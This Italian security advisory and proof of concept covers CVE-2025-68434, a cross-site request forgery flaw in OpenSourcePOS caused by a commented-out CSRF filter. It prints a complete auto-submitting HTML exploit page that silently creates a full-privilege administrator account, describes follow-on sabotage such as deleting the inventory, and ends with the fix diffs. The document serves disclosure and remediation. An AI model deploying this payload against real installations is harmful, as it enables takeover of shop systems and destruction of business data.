
PoC e analisi per CVE-2025-68434: CSRF critico in OpenSourcePOS. Sfrutta una configurazione del filtro disabilitata per consentire ad attaccanti non autenticati di creare silenziosamente account Amministratore non autorizzati, portando al controllo totale del sistema. Validato su versioni < 3.4.0.
| Metadati | Dettagli |
|---|
| ID CVE | CVE-2025-68434 |
| Gravità | Critica (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Tipo di vulnerabilità | Cross-Site Request Forgery (CWE-352) |
| Versioni interessate | OpenSourcePOS v3.4.0, v3.4.1 |
| Versione corretta | v3.4.2 |
| Componente vulnerabile | app/Config/Filters.php (filtri di sicurezza globali) |
| Segnalatore | Aditya Singh (Nixon-H) |
Una vulnerabilità critica di Cross-Site Request Forgery (CSRF) è stata scoperta nella configurazione di sicurezza principale di OpenSourcePOS. Il meccanismo globale di protezione CSRF dell'applicazione è stato disabilitato esplicitamente all'interno del file app/Config/Filters.php a causa di un "TODO" temporaneo di sviluppo che non è mai stato risolto.
Questa errata configurazione ha permesso all'applicazione di accettare richieste HTTP che modificano lo stato (POST) senza verificare un token anti-falsificazione valido. Un attaccante remoto non autenticato potrebbe sfruttare la vulnerabilità inducendo un Amministratore con sessione attiva a visitare una pagina dannosa. La pagina dell'attaccante potrebbe quindi forzare silenziosamente il browser della vittima a eseguire azioni amministrative; in particolare, creare un nuovo account Amministratore "Backdoor" con privilegi completi, portando alla completa compromissione del sistema.
La vulnerabilità si trovava nella configurazione dei filtri globali (app/Config/Filters.php). In CodeIgniter 4, l'array $globals determina quali filtri vengono eseguiti su ogni richiesta.
Nelle versioni interessate, il filtro csrf era commentato nell'elenco di esecuzione before, disabilitando di fatto la protezione CSRF dell'intera applicazione.
Codice vulnerabile (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Poiché questa riga era commentata, il middleware responsabile del controllo di csrf_token_name non veniva mai eseguito. L'applicazione accettava qualsiasi richiesta POST proveniente da qualsiasi origine, affidandosi unicamente al cookie di sessione (ospos_session) per l'autenticazione.
csrf_exploit.html su un server esterno.valid_12345).POC/csrf_exploit.html)Questo è il payload esatto utilizzato per creare un Amministratore fasullo con permessi completi:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
<input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
<input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
<input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
<input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
<input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
<input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
<input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
<input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
<input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
<input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
<input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
<input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
<input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
<input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
<input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
<input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
<input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
<input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">
<input type="hidden" name="honeypot" value="">
<script>
// 1. Generate unique ID to ensure valid creation
var id = Math.floor(Math.random() * 99999);
var user = "valid_" + id;
// 2. Inject into form
document.getElementById('username').value = user;
document.getElementById('email').value = user + "@test.com";
document.getElementById('msg').innerText = "Attacking with user: " + user;
// 3. Auto-submit
setTimeout(function() {
document.getElementById('hackForm').submit();
}, 1000);
</script>
</form>
</body>
</html>
(Immagini e file exploit si trovano nella directory POC/)
Screenshot 1: Esecuzione dell'exploit
Screenshot 2: Account fasullo creato
🎥 Dimostrazione video: Clicca per guardare / scaricare il video PoC
L'account creato non è solo una sessione temporanea; è una voce permanente nel database.
Usando il permesso grant_config, l'attaccante può modificare la configurazione del negozio.
/items/delete), cancellando l'intero database dell'inventario prodotti e bloccando le operazioni aziendali.La vulnerabilità è stata corretta in OpenSourcePOS v3.4.2. La correzione ha richiesto una modifica architetturale in più fasi per gestire le race condition nell'interfaccia di vendita ad alto utilizzo di AJAX dell'applicazione.
In app/Config/Filters.php, il filtro CSRF globale è stato decommentato.
'before' => [
'honeypot',
- // 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
+ 'csrf' => ['except' => 'login'],
'invalidchars',
],
In app/Config/Security.php, gli sviluppatori sono passati da token basati su cookie a token basati su sessione e hanno disabilitato la rigenerazione dei token per evitare problemi con richieste AJAX parallele (ad es. nel modulo Vendite).
- public string $csrfProtection = 'cookie';
+ public string $csrfProtection = 'session';
- public bool $regenerate = true;
+ public bool $regenerate = false;
Il file app/Views/partial/header_js.php è stato aggiornato per iniettare l'hash del token direttamente dal server anziché leggerlo da un cookie lato client, migliorando la postura di sicurezza.
- var csrf_token = function() {
- return Cookies.get(cookie_name);
- };
+ var csrf_token = function() {
+ return "<?= csrf_hash() ?>";
+ };
d575c8d) e verificata dal ricercatore.